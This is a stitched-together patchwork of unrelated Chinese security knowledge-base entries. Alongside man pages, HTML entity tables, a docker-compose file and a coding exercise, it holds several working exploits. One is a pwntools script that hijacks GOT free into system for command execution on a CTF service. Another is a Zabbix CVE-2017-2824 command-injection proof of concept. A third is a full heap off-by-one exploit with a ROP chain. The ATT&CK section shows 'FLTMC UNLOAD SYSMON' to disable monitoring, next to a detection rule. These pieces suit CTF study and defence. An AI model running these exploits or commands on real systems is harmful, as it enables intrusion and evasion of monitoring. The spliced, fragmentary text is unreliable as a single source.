"B::Deparse" 这个模块将编译了的语法树反向分析得出Perl源代码,这在调试或是反编译他人代码的时候会是非常有用的。另外让它为你自己的代码做一些美化工作也是可以的。要知道细节请参考 \&\*(L"The Decompiling Back End\*(R"。 .IP "B::Disassembler" 4 .IX Item "B::Disassembler" 这个模块把字节码恢复成语法树,它本身不是一个后端,而是某个后端的一个组件。它会被和字节码在一起的 disassemble 程序使用。 .IP "B::Lint" 4 .IX Item "B::Lint" 这个模块审视你的代码编译后的格式,并且找到那些容易让人皱眉,却又不至于引起警告的地方。举例来说,使用一个标量内容(scalar context)的数组,而不显式地申明成 \f(CW\*(C`scalar(@array)\*(C'\fR 。这种情况是会被 Lint 标示出来的。要知道细节请参考 \*(L"The Lint Back End\*(R"。 .IP "B::Showlex" 4 .IX Item "B::Showlex" 这个模块打印出 \fImy()\fR 中的变量在函数或是文件中的使用情况,以得到一份关于 \fImy()\fR 中的变量在定义于文件 myperlprogram 中的子程序 \fImysub()\fR 中的使用情况的列表: .Sp .Vb 1 \& $ perl -MO=Showlex,mysub myperlprogram .Ve .Sp 要得到一份关于 my() 中的变量在文件myperlprogram中的使用情况的列表: .Sp .Vb 1 \& $ perl -MO=Showlex myperlprogram .Ve .Sp [\s-1BROKEN\s0] .IP "B::Stackobj" 4 .IX Item "B::Stackobj" 这个模块被 B::CC 模块调用。它本身不是后端,但是是某个后端的一个组件。 .IP "B::Stash" 4 .IX Item "B::Stash" 这个模块被 perlcc 程序调用,而perlcc可以把一个模块编译成可执行文件。B::Stash 把程序使用的符号表打印出来,并被用来阻止 B::CC 为 B::* 或是 O 模块生成C 代码。它本身不是后端,但是是某个后端的一个组件。 .IP "B::Terse" 4 .IX Item "B::Terse" 这个模块用来打印语法树的内容,但是信息不会有B::Debug打印的那么多。对比来说,\f(CW\*(C`print "Hello, world."\*(C'\fR 会让 B::Debug 产生96行输出, 但是 B::Terse只会有6行。 .Sp 这个模块对正在编写自己的后端程序,或正在深入Perl内部机制的人们来说是非常有用的。对普通程序员来说则没什么用。 .IP "B::Xref" 4 .IX Item "B::Xref" 这个模块打印一个报表列出在程序中哪里定义和使用了哪些变量,子程序或格式,报表还会列出程序装入的模块。要知道详细的使用方法,请参考 \*(L"The Cross Referencing Back End\*(R" 。 .SH "KNOWN PROBLEMS 已知的问题" .IX Header "KNOWN PROBLEMS" 简单 C 后端目前只保存以字符和数字命名的类型说明 .PP 优化的 C 后端会为一些不该为之输出的模块(比如说 DirHandle)输出代码。而且它不太可能正确地处理正在执行的子程序外部的goto语句(goto &sub is OK)。目前 \f(CW\*(C`goto LABEL\*(C'\fR 语句在这个后端中完全不会工作。他还会生成让C 编译器头痛无比的巨大的初始化函数。如果把这个初始化函数分割开是能得到比目前更好的效果的。另外的问题包括:处理无符号的数学问题时不能正确工作;一些操作码如果按照默认的操作码机制处理也会有非正常的结果。 .PP BEGIN{} 块会在编译你的代码的时候被执行。所有的在BEGIN{} 中初始化的外部状态,如打开的文件,初始的数据库连结等等,会有不正确的表现。为了解决这个问题,Perl中又提供了一个 INIT{} 块来对应程序编译之后,正式运行之前要执行的那段代码。执行的顺序是:BEGIN{}, (后端编译程序可能这时会保存状态), INIT{}, 程序运行, END{}。 .SH "AUTHOR 作者" .IX Header "AUTHOR" 这篇文章最初是由 Nathan Torkington 编写,现在由邮件列表(perl5\-porters@perl.org.)维护 .SH "译者" .B 郭锐(sunny65535) <sunny65535@263.net>
sec-knowleage
# Speed-HTML <p align="center"> <a href="https://twitter.com/vincentdnl/status/1275820987909648384"><img src="../../../../assets/img/banner/Speed-HTML.jpg" width="58%"></a> </p> --- ## 字符实体 HTML 中的预留字符必须被替换为字符实体。 一些在键盘上找不到的字符也可以使用字符实体来替换。 **HTML 实体** 在 HTML 中,某些字符是预留的。 在 HTML 中不能使用小于号(<)和大于号(>),这是因为浏览器会误认为它们是标签。 如果希望正确地显示预留字符,我们必须在 HTML 源代码中使用字符实体(character entities)。 字符实体类似这样: ``` &entity_name; 或 &#entity_number; ``` 如需显示小于号,我们必须这样写:`&lt;` 或 `&#60;` 或 `&#060;` **不间断空格(Non-breaking Space)** HTML 中的常用字符实体是不间断空格 `&nbsp;` 。 浏览器总是会截短 HTML 页面中的空格。如果您在文本中写 10 个空格,在显示该页面之前,浏览器会删除它们中的 9 个。如需在页面中增加空格的数量,您需要使用 `&nbsp;` 字符实体。 **常见 HTML 字符实体** | 显示结果 | 描述 | 实体名称 | 实体编号 | | - | - | - | - | | | 空格 | `&nbsp;` | `&#160;` | | < | 小于号 | `&lt;` | `&#60;` | | > | 大于号 | `&gt;` | `&#62;` | | & | 和号 | `&amp;` | `&#38;` | | " | 引号 | `&quot;` | `&#34;` | | ' | 撇号 | `&apos;` (IE不支持) | `&#39;` | | ¢ | 分 | `&cent;` | `&#162;` | | £ | 镑 | `&pound;` | `&#163;` | | ¥ | 人民币/日元 | `&yen;` | `&#165;` | | € | 欧元 | `&euro;` | `&#8364;` | | § | 小节 | `&sect;` | `&#167;` | | © | 版权 | `&copy;` | `&#169;` | | ® | 注册商标 | `&reg;` | `&#174;` | | ™ | 商标 | `&trade;` | `&#8482;` | | × | 乘号 | `&times;` | `&#215;` | | ÷ | 除号 | `&divide;` | `&#247;` | 虽然 html 不区分大小写,但实体字符对大小写敏感。 更多 [字符实体](./HTML字符实体.md) --- ## 元素 在 HTML 中有五类元素 1. 空元素(Void elements),如 `<area>,<br>,<base>` 等等,不能容纳任何内容(因为它们没有闭合标签,没有内容能够放在开始标签和闭合标签中间). 2. 原始文本元素(Raw text elements),有 `<script>` 和 `<style>` , 原始文本元素,可以容纳文本. 3. RCDATA 元素(RCDATA elements),有 `<textarea>` 和 `<title>` , RCDATA 元素,可以容纳文本和字符引用. 4. 外部元素(Foreign elements),例如 `MathML命名空间` 或者 `SVG命名空间` 的元素,外部元素,可以容纳文本、字符引用、CDATA 段、其他元素和注释 5. 基本元素(Normal elements),即除了以上4种元素以外的元素,基本元素,可以容纳文本、字符引用、其他元素和注释 --- ## src 属性 ### data 地址类型 src 的 data 可以让我们直接在网页上绘制图像,将图片生成数据流形式.Base64 是网络上最常见的用于传输 8Bit 字节代码的编码方式之一,Base64 编码可用于在 HTTP 环境下传递较长的标识信息. **data 的一些类型** ``` data:,<文本数据> data:text/plain,<文本数据> data:text/html,<HTML 代码> data:text/html;base64,<base64 编码的 HTML 代码> data:text/css,<CSS 代码> data:text/css;base64,<base64 编码的 CSS 代码> data:text/javascript,<Javascript 代码> data:text/javascript;base64,<base64 编码的 Javascript 代码> data:image/gif;base64,base64 编码的 gif 图片数据 data:image/png;base64,base64 编码的 png 图片数据 data:image/jpeg;base64,base64 编码的 jpeg 图片数据 data:image/x-icon;base64,base64 编码的 icon 图片数据 ``` **Data 语法** ``` data:image/jpg; 声明数据协议及类型名称 base64, 编码形式为 base64 ****** base64 编码数据流 ``` **使用 data 优劣势** - data 优势:减少 HTTP 请求 - data 劣势: - 转化之后的图片代码通常比图片本身要大. - IE8 支持的最大内嵌图片代码为 32768 个字节 - 以 data 形式插入图片不易于修改和维护.
sec-knowleage
# T1222-001-win-fltmc卸载筛选器驱动程序 ## 来自ATT&CK的描述 文件和目录权限通常由文件或目录所有者指定的任意访问控制列表(DACL)管理。文件和目录DACL的实现因平台而异,但通常会明确指定它们,以便用户/组可以执行操作,例如读取,写入,执行等。 攻击者可以修改文件或目录的权限或属性,以逃避预期的DACL。修改可能包括更改特定的访问权限,这可能需要获取文件或目录的所有权或提升的权限(例如Administrator/root),具体取决于文件或目录的现有权限以启用恶意活动,例如修改,替换或删除特定文件目录。特定文件和目录修改可能是许多技术所必需的步骤,例如,通过可访问性功能,登录脚本建立持久性,或污染、劫持其他工具二进制配置文件。 ## 测试案例 Fltmc.exe命令 Fltmc.exe程序是系统提供的用于常见微筛选器驱动程序管理操作的命令行实用程序。 开发人员可以使用Fltmc.exe来加载和卸载微筛选器驱动程序、附加或分离微筛选器驱动程序和枚举微筛选器驱动程序、实例和卷。在具有管理员权限的命令提示符下,键入fltmc help以查看完整的命令列表。 ```yml C:\Users\Administrator>FLTMC HELP 有效命令: load 加载筛选器驱动程序 unload 卸载筛选器驱动程序 filters 列出系统中当前注册的筛选器 instances 列出系统中当前注册的筛选器或卷的实例 volumes 列出系统中所有卷/RDR attach 为卷创建筛选器实例 detach 从卷删除筛选器实例 使用 fltmc help [ 命令 ] 获取特定命令的帮助 ``` ## 检测日志 windows security windows sysmon ## 测试复现 ```yml C:\Users\Administrator>FLTMC UNLOAD SYSMON 卸载失败,出现错误: 0x801f0013 系统无法找到指定的筛选器。 ``` ## 测试留痕 ```yml 事件 Xml: <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"> <System> <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-A5BA-3E3B0328C30D}" /> <EventID>4688</EventID> <Version>2</Version> <Level>0</Level> <Task>13312</Task> <Opcode>0</Opcode> <Keywords>0x8020000000000000</Keywords> <TimeCreated SystemTime="2021-08-08T11:52:03.429773000Z" /> <EventRecordID>248258</EventRecordID> <Correlation /> <Execution ProcessID="4" ThreadID="280" /> <Channel>Security</Channel> <Computer>WIN-1CIA2BP8VBJ.qax.com</Computer> <Security /> </System> <EventData> <Data Name="SubjectUserSid">S-1-5-21-1180088053-4000917822-266516913-500</Data> <Data Name="SubjectUserName">Administrator</Data> <Data Name="SubjectDomainName">QAX</Data> <Data Name="SubjectLogonId">0x187cd2</Data> <Data Name="NewProcessId">0x14dc</Data> <Data Name="NewProcessName">C:\Windows\System32\fltMC.exe</Data> <Data Name="TokenElevationType">%%1936</Data> <Data Name="ProcessId">0x151c</Data> <Data Name="CommandLine">FLTMC UNLOAD SYSMON</Data> <Data Name="TargetUserSid">S-1-0-0</Data> <Data Name="TargetUserName">-</Data> <Data Name="TargetDomainName">-</Data> <Data Name="TargetLogonId">0x0</Data> <Data Name="ParentProcessName">C:\Windows\System32\cmd.exe</Data> <Data Name="MandatoryLabel">S-1-16-12288</Data> </EventData> </Event> ``` ## 检测规则/思路 ### splunk规则 ```yml index=client (EventCode=1 OR EventCode=4688) CommandLine="*unload*" (Image="C:\\Windows\\SysWOW64\\fltMC.exe" OR Image="C:\\Windows\\System32\\fltMC.exe") ``` ### 建议 如果你对windows有足够多的了解,那么相信你也知道应该如何去用Windows日志进行分析此类攻击行为,比如依靠4688中的进程和命令行参数进行检测分析。 ## 参考推荐 MITRE-ATT&CK-T1222-001 <https://attack.mitre.org/techniques/T1222/001/> Fltmc.exe命令 <https://docs.microsoft.com/zh-cn/windows-hardware/drivers/ifs/development-and-testing-tools>
sec-knowleage
# 32.1 从上往下打印二叉树 [NowCoder](https://www.nowcoder.com/practice/7fe2212963db4790b57431d9ed259701?tpId=13&tqId=11175&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 从上往下打印出二叉树的每个节点,同层节点从左至右打印。 例如,以下二叉树层次遍历的结果为:1,2,3,4,5,6,7 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/d5e838cf-d8a2-49af-90df-1b2a714ee676.jpg" width="250"/> </div><br> ## 解题思路 使用队列来进行层次遍历。 不需要使用两个队列分别存储当前层的节点和下一层的节点,因为在开始遍历一层的节点时,当前队列中的节点数就是当前层的节点数,只要控制遍历这么多节点数,就能保证这次遍历的都是当前层的节点。 ```java public ArrayList<Integer> PrintFromTopToBottom(TreeNode root) { Queue<TreeNode> queue = new LinkedList<>(); ArrayList<Integer> ret = new ArrayList<>(); queue.add(root); while (!queue.isEmpty()) { int cnt = queue.size(); while (cnt-- > 0) { TreeNode t = queue.poll(); if (t == null) continue; ret.add(t.val); queue.add(t.left); queue.add(t.right); } } return ret; } ```
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "DROP DOMAIN" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME DROP DOMAIN \- 删除一个用户定义的域 .SH SYNOPSIS .sp .nf DROP DOMAIN \fIname\fR [, ...] [ CASCADE | RESTRICT ] .sp .fi .SH "DESCRIPTION 描述" .PP \fBDROP DOMAIN\fR 将从系统表中删除一个用户域。 只有域的所有者才能删除它。 .SH "PARAMETERS 参数" .TP \fB\fIname\fB\fR 一个现有的域(可以有模式修饰)。 .TP \fBCASCADE\fR 自动删除倚赖域的对象。(比如,表字段)。 .TP \fBRESTRICT\fR 如果有任何依赖对象存在,则拒绝删除此域。这个是缺省。 .SH "EXAMPLES 例子" .PP 删除 box 域∶ .sp .nf DROP DOMAIN box; .sp .fi .SH "COMPATIBILITY 兼容性" .PP 这条命令遵循 SQL 标准。 .SH "SEE ALSO 参见" CREATE DOMAIN [\fBcreate_domain\fR(7)] .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
version: "2" services: nacos: image: nacos/nacos-server:1.4.0 container_name: nacos-standalone-mysql env_file: - ./env/nacos-standlone-mysql.env volumes: - ./standalone-logs/:/home/nacos/logs - ./init.d/nacos.properties:/home/nacos/init.d/custom.properties ports: - "8848:8848" - "9848:9848" - "9555:9555" depends_on: - mysql restart: on-failure mysql: container_name: mysql image: nacos/nacos-mysql:5.7 env_file: - ./env/mysql.env volumes: - ./mysql:/var/lib/mysql ports: - "3306:3306"
sec-knowleage
from pwn import * import struct #r=remote("localhost", 1337) r=remote("pwn.rhme.riscure.com", 1337) def new(name): r.sendline("1") r.sendline(name) r.sendline("1") r.sendline("1") r.sendline("1") r.sendline("1") def delete(i): r.sendline("2") r.sendline(str(i)) def select(i): r.sendline("3") r.sendline(str(i)) #FREE = 0x86ce0 #SYST = 0x456a0 FREE = 0x844f0 SYST = 0x45390 new("q"*70) new("w"*70) new("echo yyy; "+sys.argv[1]+"; sleep 1; echo xxx") select(1) delete(1) delete(0) name="a"*16 # structure fields name+="183060".decode("hex") # GOT:free new(name) sleep(0.5) r.recv() r.sendline("5") # Show selected. s = r.recvuntil("Your choice") s=s.split("Name: ")[1] s=s.split("\n\tA/")[0] s=s+"\x00"*(8-len(s)) free = struct.unpack("<Q", s)[0] system = SYST-FREE+free #print "---", hex(free), hex(system), "---" r.sendline("4") # Edit r.sendline("1") # Edit name send=struct.pack("<Q", system).strip("\x00") r.sendline(send) r.sendline("0") # Back delete(2) r.recvuntil("yyy") while True: s=r.recv() if "xxx" in s: break print s
sec-knowleage
# Zabbix Server trapper命令注入漏洞(CVE-2017-2824) Zabbix 是由Alexei Vladishev 开发的一种网络监视、管理系统,基于 Server-Client 架构。其Server端 trapper command 功能存在一处代码执行漏洞,特定的数据包可造成命令注入,进而远程执行代码。攻击者可以从一个Zabbix proxy发起请求,从而触发漏洞。 参考链接: - https://talosintelligence.com/reports/TALOS-2017-0325 ## 环境搭建 执行如下命令启动一个完整的Zabbix环境,包含Web端、Server端、1个Agent和Mysql数据库: ``` docker compose up -d ``` 命令执行后,执行`docker compose ps`查看容器是否全部成功启动,如果没有,可以尝试重新执行`docker compose up -d`。 利用该漏洞,需要你服务端开启了自动注册功能,所以我们先以管理员的身份开启自动注册功能。使用账号密码`admin/zabbix`登录后台,进入Configuration->Actions,将Event source调整为Auto registration,然后点击Create action,创建一个Action,名字随意: ![](1.png) 第三个标签页,创建一个Operation,type是“Add Host”: ![](2.png) 保存。这样就开启了自动注册功能,攻击者可以将自己的服务器注册为Agent。 ## 漏洞复现 使用这个简单的POC来复现漏洞: ```python import sys import socket import json import sys def send(ip, data): conn = socket.create_connection((ip, 10051), 10) conn.send(json.dumps(data).encode()) data = conn.recv(2048) conn.close() return data target = sys.argv[1] print(send(target, {"request":"active checks","host":"vulhub","ip":";touch /tmp/success"})) for i in range(10000, 10500): data = send(target, {"request":"command","scriptid":1,"hostid":str(i)}) if data and b'failed' not in data: print('hostid: %d' % i) print(data) ``` 这个POC比较初级,请多执行几次,当查看到如下结果时,则说明命令执行成功: ![](3.png) 进入server容器,可见`/tmp/success`已成功创建: ![](4.png) 有兴趣的同学可以对这个POC进行改进,提交Pull Request。
sec-knowleage
swapoff === 关闭指定的交换空间 ## 补充说明 **swapoff命令** 用于关闭指定的交换空间(包括交换文件和交换分区)。swapoff实际上为swapon的符号连接,可用来关闭系统的交换区。 ### 语法 ```shell swapoff(选项)(参数) ``` ### 选项 ```shell -a:关闭配置文件“/etc/fstab”中所有的交换空间。 ``` ### 参数 交换空间:指定需要激活的交换空间,可以是交换文件和交换分区,如果是交换分区则指定交换分区对应的设备文件。 ### 实例 关闭交换分区 ```shell swapoff /dev/sda2 ```
sec-knowleage
### 堆中的 Off-By-One介绍 严格来说 off-by-one 漏洞是一种特殊的溢出漏洞,off-by-one 指程序向缓冲区中写入时,写入的字节数超过了这个缓冲区本身所申请的字节数并且只越界了一个字节。 ### 堆中的off-by-one 漏洞原理 off-by-one 是指单字节缓冲区溢出,这种漏洞的产生往往与边界验证不严和字符串操作有关,当然也不排除写入的 size 正好就只多了一个字节的情况。其中边界验证不严通常包括 - 使用循环语句向堆块中写入数据时,循环的次数设置错误(这在 C 语言初学者中很常见)导致多写入了一个字节。 - 字符串操作不合适 一般来说,单字节溢出被认为是难以利用的,但是因为 Linux 的堆管理机制 ptmalloc 验证的松散性,基于 Linux 堆的 off-by-one 漏洞利用起来并不复杂,并且威力强大。 此外,需要说明的一点是 off-by-one 是可以基于各种缓冲区的,比如栈、bss 段等等,但是堆上(heap based) 的 off-by-one 是 CTF 中比较常见的。我们这里仅讨论堆上的 off-by-one 情况。 ### 堆中的off-by-one 利用思路 1. 溢出字节为可控制任意字节:通过修改大小造成块结构之间出现重叠,从而泄露其他块数据,或是覆盖其他块数据。也可使用 NULL 字节溢出的方法 2. 溢出字节为 NULL 字节:在 size 为 0x100 的时候,溢出 NULL 字节可以使得 `prev_in_use` 位被清,这样前块会被认为是 free 块。(1) 这时可以选择使用 unlink 方法(见 unlink 部分)进行处理。(2) 另外,这时 `prev_size` 域就会启用,就可以伪造 `prev_size` ,从而造成块之间发生重叠。此方法的关键在于 unlink 的时候没有检查按照 `prev_size` 找到的块的大小与`prev_size` 是否一致。 最新版本代码中,已加入针对 2 中后一种方法的 check ,但是在 2.28 及之前版本并没有该 check 。 ``` /* consolidate backward */ if (!prev_inuse(p)) { prevsize = prev_size (p); size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); /* 后两行代码在最新版本中加入,则 2 的第二种方法无法使用,但是 2.28 及之前都没有问题 */ if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr ("corrupted size vs. prev_size while consolidating"); unlink_chunk (av, p); } ``` ### 堆中的off-by-one 利用示例 1 ``` int my_gets(char *ptr,int size) { int i; for(i=0;i<=size;i++) { ptr[i]=getchar(); } return i; } int main() { void *chunk1,*chunk2; chunk1=malloc(16); chunk2=malloc(16); puts("Get Input:"); my_gets(chunk1,16); return 0; } ``` 我们自己编写的 my_gets 函数导致了一个 off-by-one 漏洞,原因是 for 循环的边界没有控制好导致写入多执行了一次,这也被称为栅栏错误 > wikipedia: > 栅栏错误(有时也称为电线杆错误或者灯柱错误)是差一错误的一种。如以下问题: > > 建造一条直栅栏(即不围圈),长 30 米、每条栅栏柱间相隔 3 米,需要多少条栅栏柱? > > 最容易想到的答案 10 是错的。这个栅栏有 10 个间隔,11 条栅栏柱。 我们使用 gdb 对程序进行调试,在进行输入前可以看到分配的两个用户区域为 16 字节的堆块 ``` 0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk1 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000021 <=== chunk2 0x602030: 0x0000000000000000 0x0000000000000000 ``` 当我们执行 my_gets 进行输入之后,可以看到数据发生了溢出覆盖到了下一个堆块的 prev_size 域 print 'A'*17 ``` 0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk1 0x602010: 0x4141414141414141 0x4141414141414141 0x602020: 0x0000000000000041 0x0000000000000021 <=== chunk2 0x602030: 0x0000000000000000 0x0000000000000000 ``` ### 堆中的off-by-one 利用示例 2 第二种常见的导致 off-by-one 的场景就是字符串操作了,常见的原因是字符串的结束符计算有误 ``` int main(void) { char buffer[40]=""; void *chunk1; chunk1=malloc(24); puts("Get Input"); gets(buffer); if(strlen(buffer)==24) { strcpy(chunk1,buffer); } return 0; } ``` 程序乍看上去没有任何问题(不考虑栈溢出),可能很多人在实际的代码中也是这样写的。 但是 strlen 和 strcpy 的行为不一致却导致了 off-by-one 的发生。 strlen 是我们很熟悉的计算 ascii 字符串长度的函数,这个函数在计算字符串长度时是不把结束符 `'\x00'` 计算在内的,但是 strcpy 在复制字符串时会拷贝结束符 `'\x00'` 。这就导致了我们向 chunk1 中写入了 25 个字节,我们使用 gdb 进行调试可以看到这一点。 ``` 0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk1 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000411 <=== next chunk ``` 在我们输入'A'*24 后执行 strcpy ``` 0x602000: 0x0000000000000000 0x0000000000000021 0x602010: 0x4141414141414141 0x4141414141414141 0x602020: 0x4141414141414141 0x0000000000000400 ``` 可以看到 next chunk 的 size 域低字节被结束符 `'\x00'` 覆盖,这种又属于 off-by-one 的一个分支称为 NULL byte off-by-one,我们在后面会看到 off-by-one 与 NULL byte off-by-one 在利用上的区别。 还是有一点就是为什么是低字节被覆盖呢,因为我们通常使用的 CPU 的字节序都是小端法的,比如一个 DWORD 值在使用小端法的内存中是这样储存的 ``` DWORD 0x41424344 内存 0x44,0x43,0x42,0x41 ``` ### 堆中的off-by-one 利用在 libc-2.29 之后 由于这两行代码的加入 ```cpp if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr ("corrupted size vs. prev_size while consolidating"); ``` 由于我们难以控制一个真实 chunk 的 size 字段,所以传统的 off-by-null 方法失效。但是,只需要满足被 unlink 的 chunk 和下一个 chunk 相连,所以仍然可以伪造 fake_chunk。 伪造的方式就是使用 large bin 遗留的 fd_nextsize 和 bk_nextsize 指针。以 fd_nextsize 为 fake_chunk 的 fd,bk_nextsize 为 fake_chunk 的 bk,这样我们可以完全控制该 fake_chunk 的 size 字段(这个过程会破坏原 large bin chunk 的 fd 指针,但是没有关系),同时还可以控制其 fd(通过部分覆写 fd_nextsize)。通过在后面使用其他的 chunk 辅助伪造,可以通过该检测 ```  if (__glibc_unlikely (chunksize(p) != prevsize))    malloc_printerr ("corrupted size vs. prev_size while consolidating"); ``` 然后只需要通过 unlink 的检测就可以了,也就是 `fd->bk == p && bk->fd == p` 如果 large bin 中仅有一个 chunk,那么该 chunk 的两个 nextsize 指针都会指向自己 我们可以控制 fd_nextsize 指向堆上的任意地址,可以容易地使之指向一个 fastbin + 0x10 - 0x18,而 fastbin 中的 fd 也会指向堆上的一个地址,通过部分覆写该指针也可以使该指针指向之前的 large bin + 0x10,这样就可以通过 `fd->bk == p` 的检测。 由于 bk_nextsize 我们无法修改,所以 bk->fd 必然在原先的 large bin chunk 的 fd 指针处(这个 fd 被我们破坏了)。通过 fastbin 的链表特性可以做到修改这个指针且不影响其他的数据,再部分覆写之就可以通过 `bk->fd==p` 的检测了。 然后通过 off-by-one 向低地址合并就可以实现 chunk overlapping 了,之后可以 leak libc_base 和 堆地址,tcache 打 __free_hook 即可。 光讲原理比较难理解,建议结合题目学习,比如本文中的实例 3。 ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context.terminal = ["tmux","splitw","-h"] context.log_level = 'debug' #sh = process("./note") #libc = ELF("/glibc/2.29/64/lib/libc.so.6") sh = process("./note-re") libc = ELF("./libc-2.29.so") def add(size,payload): sh.sendlineafter("Choice: ",'1') sh.sendlineafter("Size: ",str(size)) sh.sendafter("Content: ",payload) def delete(index): sh.sendlineafter("Choice: ",'2') sh.sendlineafter("Idx: ",str(index)) def show(index): sh.sendlineafter("Choice: ",'3') sh.sendlineafter("Idx: ",str(index)) for i in range(16): add(0x10,'fill') for i in range(16): add(0x60,'fill') for i in range(9): add(0x70,'fill') for i in range(5): add(0xC0,'fill') for i in range(2): add(0xE0,'fill') add(0x170,'fill') add(0x190,'fill') # 49 add(0x2A50,'addralign') # 50 #add(0x4A50,'addralign') # 50 add(0xFF8,'large bin') # 51 add(0x18,'protect') # 52 delete(51) add(0x2000,'push to large bin') # 51 add(0x28,p64(0) + p64(0x241) + '\x28') # 53 fd->bk : 0xA0 - 0x18 add(0x28,'pass-loss control') # 54 add(0xF8,'pass') # 55 add(0x28,'pass') # 56 add(0x28,'pass') # 57 add(0x28,'pass') # 58 add(0x28,'pass') # 59 add(0x28,'pass-loss control') # 60 add(0x4F8,'to be off-by-null') # 61 for i in range(7): add(0x28,'tcache') for i in range(7): delete(61 + 1 + i) delete(54) delete(60) delete(53) for i in range(7): add(0x28,'tcache') # 53,54,60,62,63,64,65 add(0x28,'\x10') # 53->66 ## stashed ## add(0x28,'\x10') # 54->67 add(0x28,'a' * 0x20 + p64(0x240)) # 60->68 delete(61) add(0x140,'pass') # 61 show(56) libc_base = u64(sh.recv(6).ljust(0x8,'\x00')) - libc.sym["__malloc_hook"] - 0x10 - 0x60 log.success("libc_base:" + hex(libc_base)) __free_hook_addr = libc_base + libc.sym["__free_hook"] add(0x28,'pass') # 69<-56 add(0x28,'pass') # 70<-57 delete(70) delete(69) show(56) heap_base = u64(sh.recv(6).ljust(0x8,'\x00')) - 0x1A0 log.success("heap_base:" + hex(heap_base)) add(0x28,p64(0) * 2) # 69<-56 add(0x28,p64(0) * 2) # 70<-57 add(0x28,p64(0) * 2) # 71<-58 delete(68) add(0x60,p64(0) * 5 + p64(0x31) + p64(__free_hook_addr)) # 68 add(0x28,'pass') # 72 ## alloc to __free_hook ## magic_gadget = libc_base + 0x12be97 add(0x28,p64(magic_gadget)) # 73 pop_rdi_ret = libc_base + 0x26542 pop_rsi_ret = libc_base + 0x26f9e pop_rdx_ret = libc_base + 0x12bda6 syscall_ret = libc_base + 0xcf6c5 pop_rax_ret = libc_base + 0x47cf8 ret = libc_base + 0xc18ff payload_addr = heap_base + 0x270 str_flag_addr = heap_base + 0x270 + 5 * 0x8 + 0xB8 rw_addr = heap_base payload = p64(libc_base + 0x55E35) # rax payload += p64(payload_addr - 0xA0 + 0x10) # rdx payload += p64(payload_addr + 0x28) payload += p64(ret) payload += ''.ljust(0x8,'\x00') rop_chain = '' rop_chain += p64(pop_rdi_ret) + p64(str_flag_addr) # name = "./flag" rop_chain += p64(pop_rsi_ret) + p64(0) rop_chain += p64(pop_rdx_ret) + p64(0) rop_chain += p64(pop_rax_ret) + p64(2) + p64(syscall_ret) # sys_open rop_chain += p64(pop_rdi_ret) + p64(3) # fd = 3 rop_chain += p64(pop_rsi_ret) + p64(rw_addr) # buf rop_chain += p64(pop_rdx_ret) + p64(0x100) # len rop_chain += p64(libc_base + libc.symbols["read"]) rop_chain += p64(pop_rdi_ret) + p64(1) # fd = 1 rop_chain += p64(pop_rsi_ret) + p64(rw_addr) # buf rop_chain += p64(pop_rdx_ret) + p64(0x100) # len rop_chain += p64(libc_base + libc.symbols["write"]) payload += rop_chain payload += './flag\x00' add(len(payload) + 0x10,payload) # 74 #gdb.attach(proc.pidof(sh)[0]) delete(74) sh.interactive() ```
sec-knowleage
# HTML字符实体 --- ## HTML ASCII **可显示的 ASCII 代码** | 结果 | 描述 | 实体编号 | | - | - | - | | ` ` | space | `&#32;` | | `!` | exclamation mark | `&#33;` | | `"` | quotation mark | `&#34;` | | `#` | number sign | `&#35;` | | `$` | dollar sign | `&#36;` | | `%` | percent sign | `&#37;` | | `&` | ampersand | `&#38;` | | `'` | apostrophe | `&#39;` | | `(` | left parenthesis | `&#40;` | | `)` | right parenthesis | `&#41;` | | `*` | asterisk | `&#42;` | | `+` | plus sign | `&#43;` | | `,` | comma | `&#44;` | | `-` | hyphen | `&#45;` | | `.` | period | `&#46;` | | `/` | slash | `&#47;` | | `0` | digit 0 | `&#48;` | | `1` | digit 1 | `&#49;` | | `2` | digit 2 | `&#50;` | | `3` | digit 3 | `&#51;` | | `4` | digit 4 | `&#52;` | | `5` | digit 5 | `&#53;` | | `6` | digit 6 | `&#54;` | | `7` | digit 7 | `&#55;` | | `8` | digit 8 | `&#56;` | | `9` | digit 9 | `&#57;` | | `:` | colon | `&#58;` | | `;` | semicolon | `&#59;` | | `<` | less-than | `&#60;` | | `=` | equals-to | `&#61;` | | `>` | greater-than | `&#62;` | | `?` | question mark | `&#63;` | | `@` | at sign | `&#64;` | | `A` | uppercase A | `&#65;` | | `B` | uppercase B | `&#66;` | | `C` | uppercase C | `&#67;` | | `D` | uppercase D | `&#68;` | | `E` | uppercase E | `&#69;` | | `F` | uppercase F | `&#70;` | | `G` | uppercase G | `&#71;` | | `H` | uppercase H | `&#72;` | | `I` | uppercase I | `&#73;` | | `J` | uppercase J | `&#74;` | | `K` | uppercase K | `&#75;` | | `L` | uppercase L | `&#76;` | | `M` | uppercase M | `&#77;` | | `N` | uppercase N | `&#78;` | | `O` | uppercase O | `&#79;` | | `P` | uppercase P | `&#80;` | | `Q` | uppercase Q | `&#81;` | | `R` | uppercase R | `&#82;` | | `S` | uppercase S | `&#83;` | | `T` | uppercase T | `&#84;` | | `U` | uppercase U | `&#85;` | | `V` | uppercase V | `&#86;` | | `W` | uppercase W | `&#87;` | | `X` | uppercase X | `&#88;` | | `Y` | uppercase Y | `&#89;` | | `Z` | uppercase Z | `&#90;` | | `[` | left square bracket | `&#91;` | | `\` | backslash | `&#92;` | | `]` | right square bracket | `&#93;` | | `^` | caret | `&#94;` | | `_` | underscore | `&#95;` | | ``` | grave accent | `&#96;` | | `a` | lowercase a | `&#97;` | | `b` | lowercase b | `&#98;` | | `c` | lowercase c | `&#99;` | | `d` | 